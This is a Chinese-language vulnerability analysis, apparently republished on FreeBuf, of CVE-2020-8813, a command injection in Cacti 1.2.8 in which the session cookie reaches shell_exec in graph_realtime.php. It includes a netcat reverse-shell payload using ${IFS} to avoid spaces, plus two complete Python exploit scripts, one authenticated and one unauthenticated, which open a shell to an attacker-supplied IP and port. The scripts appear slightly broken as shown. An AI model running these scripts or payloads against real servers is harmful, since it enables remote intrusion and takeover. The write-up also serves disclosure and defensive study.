CVE-2020-8813：Cacti v1.2.8 中经过身份验证的RCE漏洞分析

关于Cacti

Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具。Cacti通过 snmpget来获取数据，使用 RRDtool绘画图形，而且你完全可以不需要了解RRDtool复杂的参数。它提供了非常强大的数据和用户管理功能，可以指定每一个用户能查看树状结构、host以及任何一张图，还可以与LDAP结合进行用户验证，同时也能自己增加模板，功能非常强大完善。界面友好。软件 Cacti 的发展是基于让 RRDTool 使用者更方便使用该软件，除了基本的 Snmp 流量跟系统资讯监控外，Cacti 也可外挂 Scripts 及加上 Templates 来作出各式各样的监控图。

cacti是用 php 语言实现的一个软件，它的主要功能是用snmp服务获取数据，然后用rrdtool储存和更新数据，当用户需要查看数据的时候用rrdtool生成图表呈现给用户。因此，snmp和rrdtool是cacti的关键。Snmp关系着数据的收集，rrdtool关系着数据存储和图表的生成。

漏洞利用分析

我在分析Cacti主要代码中的多个功能函数时，发现了这个漏洞。我需要结合多个漏洞利用因素才能实现代码执行，当攻击者尝试向“Cacti”这个Cookie变量中注入恶意代码时，便会触发这个漏洞，而这个变量在与一些字符串合并之后将会被传递给shell_exec函数。但是当我尝试修改这个cookie值时遇到了身份验证的问题，而这个问题使我无法访问到目标页面，但是我发现这个包含漏洞的页面是能够以“Guest”身份访问的，这样就不需要进行身份验证了，所以我修改了漏洞利用代码，并使用“Guest”身份来访问页面“graph_realtime.php”，然后发送恶意请求来在目标主机上实现代码执行。

首先，我们需要向“user_admin.php”页面发送一个请求来启用“realtime_graph”的访客权限，然后再向“graph_realtime.php”页面发送恶意请求。

接下来，我使用了这个常用的RCE扫描脚本【 RECScanner 】来在Cacti中搜索RCE漏洞。

运行脚本后，我在“graph_realtime.php”文件中发现了一个非常有意思的东西：

graph_realtime.php

/* call poller */
$graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';
$command   = read_config_option('path_php_binary');
$args      = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);
shell_exec("$command $args");
/* construct the image name  */
$graph_data_array['export_realtime'] = $graph_rrd;
$graph_data_array['output_flag']     = RRDTOOL_OUTPUT_GRAPH_DATA;
$null_param = array();

我们可以看到上述代码中的第4和第5行，我们收到了一些参数，还有一个名叫“get_request_var”的函数，该函数的作用如下：

html_utility.php

function get_request_var($name, $default = '') {
    global $_CACTI_REQUEST;
    $log_validation = read_config_option('log_validation');
    if (isset($_CACTI_REQUEST[$name])) {
        return $_CACTI_REQUEST[$name];
    } elseif (isset_request_var($name)) {
        if ($log_validation == 'on') {
            html_log_input_error($name);
        }
        set_request_var($name, $_REQUEST[$name]);
        return $_REQUEST[$name];
    } else {
        return $default;
    }
}

我们可以看到，这个函数可以处理输入数据并通过函数“set_request_var”来设置参数值，而这个函数的相关代码如下：

html_utility.php

function set_request_var($variable, $value) {
    global $_CACTI_REQUEST;
    $_CACTI_REQUEST[$variable] = $value;
    $_REQUEST[$variable]       = $value;
    $_POST[$variable]          = $value;
    $_GET[$variable]           = $value;
}

接下来，回到我们的“graph_realtime.php”页面，我们可以控制下列输入：

local_graph_id
The value of $graph_data_array[‘ds_step’]

但是，我们注意到“graph_realtime.php”文件中的第4行，它使用了sprintf()函数来处理输入，而第一个值“graph”的内容为“local_graph_id”，而这个值是我们可以控制的！又但是，一个名叫“get_filter_request_var”的函数会对这个值进行过滤，我们可以看到，它在“graph_realtime.php”中已经被过滤了：

html_utility.php

function get_filter_request_var($name, $filter = FILTER_VALIDATE_INT, $options = array()) {
    if (isset_request_var($name)) {
        if (isempty_request_var($name)) {
            set_request_var($name, get_nfilter_request_var($name));
            return get_request_var($name);
        } elseif (get_nfilter_request_var($name) == 'undefined') {
            if (isset($options['default'])) {
                set_request_var($name, $options['default']);
                return $options['default'];
            } else {
                set_request_var($name, '');
                return '';
            }
        } else {
            if (get_nfilter_request_var($name) == '0') {
                $value = '0';
            } elseif (get_nfilter_request_var($name) == 'undefined') {
                if (isset($options['default'])) {
                    $value = $options['default'];
                } else {
                    $value = '';
                }
            } elseif (isempty_request_var($name)) {
                $value = '';
            } elseif ($filter == FILTER_VALIDATE_IS_REGEX) {
                if (is_base64_encoded($_REQUEST[$name])) {
                    $_REQUEST[$name] = utf8_decode(base64_decode($_REQUEST[$name]));
                }
                $valid = validate_is_regex($_REQUEST[$name]);
                if ($valid === true) {
                    $value = $_REQUEST[$name];
                } else {
                    $value = false;
                    $custom_error = $valid;
                }
            } elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_ARRAY) {
                $valid = true;
                if (is_array($_REQUEST[$name])) {
                    foreach($_REQUEST[$name] AS $number) {
                        if (!is_numeric($number)) {
                            $valid = false;
                            break;
                        }
                    }
                } else {
                    $valid = false;
                }
                if ($valid == true) {
                    $value = $_REQUEST[$name];
                } else {
                    $value = false;
                }
            } elseif ($filter == FILTER_VALIDATE_IS_NUMERIC_LIST) {
                $valid = true;
                $values = preg_split('/,/', $_REQUEST[$name], NULL, PREG_SPLIT_NO_EMPTY);
                foreach($values AS $number) {
                    if (!is_numeric($number)) {
                        $valid = false;
                        break;
                    }
                }
                if ($valid == true) {
                    $value = $_REQUEST[$name];
                } else {
                    $value = false;
                }
            } elseif (!cacti_sizeof($options)) {
                $value = filter_var($_REQUEST[$name], $filter);
            } else {
                $value = filter_var($_REQUEST[$name], $filter, $options);
            }
        }
        if ($value === false) {
            if ($filter == FILTER_VALIDATE_IS_REGEX) {
                $_SESSION['custom_error'] = __('The search term "%s" is not valid. Error is %s', html_escape(get_nfilter_request_var($name)), html_escape($custom_error));
                set_request_var($name, '');
                raise_message('custom_error');
            } else {
                die_html_input_error($name, get_nfilter_request_var($name));
            }
        } else {
            set_request_var($name, $value);
            return $value;
        }
    } else {
        if (isset($options['default'])) {
            set_request_var($name, $options['default']);
            return $options['default'];
        } else {
            return;
        }
    }
}

这个函数将会对输入数据进行过滤，然后返回一个“干净的”变量并传递给下一个函数。

对于第二个变量“$graph_data_array[‘ds_step’]”，它已经通过sprintf()进行处理了（%d），这也就意味着它会变成一个十进制值，所以我们无法用它来注入我们的恶意命令。

接下来，我们再看看下面这段代码：

graph_realtime.php

/* call poller */
$graph_rrd = read_config_option('realtime_cache_path') . '/user_' . session_id() . '_lgi_' . get_request_var('local_graph_id') . '.png';
$command   = read_config_option('path_php_binary');
$args      = sprintf('poller_realtime.php --graph=%s --interval=%d --poller_id=' . session_id(), get_request_var('local_graph_id'), $graph_data_array['ds_step']);
shell_exec("$command $args");
/* construct the image name  */
$graph_data_array['export_realtime'] = $graph_rrd;
$graph_data_array['output_flag']     = RRDTOOL_OUTPUT_GRAPH_DATA;
$null_param = array();

我们看到了另一个传递给shell_exec函数的变量，而这个变量的值就是session_id()函数返回的值，这个函数可以返回当前用户会话的值，也就是说，我们可以用它来注入我们的命令。

等一下，如果我们修改了会话，那我们就无法访问目标页面了，因为这个页面要求用户在经过了身份验证之后才能访问。研究之后我又发现，如果我们启用了一个名叫“Realtime Graphs”的特殊权限之后，我们就能够以访客身份访问这个页面了：

接下来，我们尝试在不开启“Guest Realtime Graphs”权限的情况下访问该页面：

正如我们所见，由于权限问题，我们现在无法访问这个页面，现在我们重新开启该权限，然后访问该页面：

很好，接下来我们发送“graph_realtime.php”页面请求，然后在代码中添加一条“echo”语句来输出传递给shell_exec函数的值：

如图所示，我们将会话打印了出来，接下来我们尝试向会话中注入自定义字符串：

非常好，我们成功实现了注入。

Payload开发

成功控制了会话值之后，我们需要用它来在目标系统中实现代码执行，但由于它本质上还是一个会话值，因此我们无法使用一些特殊字符，所以我们需要开发一个“对会话友好的”Payload。

比如说，如果对字符串“Hi Payload”进行编码，然后传递给应用程序，我们将会看到：

我们可以看到，应用程序设置了一个Cookie给我们，而不是我们所注入的那个，为了解决这个问题，我们需要使用一个自定义的Payload。

为了避免使用空格字符，我打算使用“${IFS}”这个Bash变量来代表一个空格。

当然了，我们还需要使用“;”来转义命令：

;payload

如果我们想使用netcat来获取一个Shell，我们还需要创建下列Payload：

;nc${IFS}-e${IFS}/bin/bash${IFS}ip${IFS}port

我们先对Payload进行编码：

然后将其发送给应用程序：

很好，我们的Payload执行成功了，并拿到了一个Shell。

漏洞利用代码

为了实现整个漏洞利用的自动化过程，我编写了一个 Python 脚本来利用该漏洞：

#!/usr/bin/python3

# Exploit Title: Cacti v1.2.8 Remote Code Execution

# Date: 03/02/2020

# Exploit Author: Askar (@mohammadaskar2)

# CVE: CVE-2020-8813

# Vendor Homepage: https://cacti.net/

# Version: v1.2.8

# Tested on: CentOS 7.3 / PHP 7.1.33

import requests

import sys

import warnings

from bs4 import BeautifulSoup

from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) != 6:

print("[~] Usage : ./Cacti-exploit.py url username password ip port")

exit()

url = sys.argv[1]

username = sys.argv[2]

password = sys.argv[3]

ip = sys.argv[4]

port = sys.argv[5]

def login(token):

login_info = {

"login_username": username,

"login_password": password,

"action": "login",

"__csrf_magic": token

}

login_request = request.post(url+"/index.php", login_info)

login_text = login_request.text

if "Invalid User Name/Password Please Retype" in login_text:

return False

else:

return True

def enable_guest(token):

request_info = {

"id": "3",

"section25": "on",

"section7": "on",

"tab": "realms",

"save_component_realm_perms": 1,

"action": "save",

"__csrf_magic": token

}

enable_request = request.post(url+"/user_admin.php?header=false", request_info)

if enable_request:

return True

else:

return False

def send_exploit():

payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)

cookies = {'Cacti': quote(payload)}

requests.get(url+"/graph_realtime.php?action=init", cookies=cookies)

request = requests.session()

print("[+]Retrieving login CSRF token")

page = request.get(url+"/index.php")

html_content = page.text

soup = BeautifulSoup(html_content, "html5lib")

token = soup.findAll('input')[0].get("value")

if token:

print("[+]Token Found : %s" % token)

print("[+]Sending creds ..")

login_status = login(token)

if login_status:

print("[+]Successfully LoggedIn")

print("[+]Retrieving CSRF token ..")

page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms")

html_content = page.text

soup = BeautifulSoup(html_content, "html5lib")

token = soup.findAll('input')[1].get("value")

if token:

print("[+]Making some noise ..")

guest_realtime = enable_guest(token)

if guest_realtime:

print("[+]Sending malicous request, check your nc ")

send_exploit()

else:

print("[-]Error while activating the malicous account")

else:

print("[-] Unable to retrieve CSRF token from admin page!")

exit()

else:

print("[-]Cannot Login!")

else:

print("[-] Unable to retrieve CSRF token!")

exit()

运行了漏洞利用代码之后，我们将会看到：

再一次成功拿到了Shell！

未经身份认证的漏洞利用

如果Cacti启用了“Guest Realtime Graphs”权限，那么我们就可以在未经身份验证的情况下利用该漏洞了。下面给出的是这种场景下的漏洞利用代码：

#!/usr/bin/python3

# Exploit Title: Cacti v1.2.8 Unauthenticated Remote Code Execution

# Date: 03/02/2020

# Exploit Author: Askar (@mohammadaskar2)

# CVE: CVE-2020-8813

# Vendor Homepage: https://cacti.net/

# Version: v1.2.8

# Tested on: CentOS 7.3 / PHP 7.1.33

import requests

import sys

import warnings

from bs4 import BeautifulSoup

from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) != 4:

print("[~] Usage : ./Cacti-exploit.py url ip port")

exit()

url = sys.argv[1]

ip = sys.argv[2]

port = sys.argv[3]

def send_exploit(url):

payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)

cookies = {'Cacti': quote(payload)}

path = url+"/graph_realtime.php?action=init"

req = requests.get(path)

if req.status_code == 200 and "poller_realtime.php" in req.text:

print("[+] File Found and Guest is enabled!")

print("[+] Sending malicous request, check your nc ")

requests.get(path, cookies=cookies)

else:

print("[+] Error while requesting the file!")

send_exploit(url)

我们可以看到，在这种场景下同样能够成功利用该漏洞。

漏洞披露

在发现该问题之后，我们便将完整的PoC上报给了Cacti的团队，他们也在第一时间修复了该漏洞并发布了漏洞补丁，从Cacti v1.2.10开始将不再受此漏洞的影响。

* 参考来源： shells ，FB小编Alpha_h4ck编译，转载请注明来自FreeBuf.COM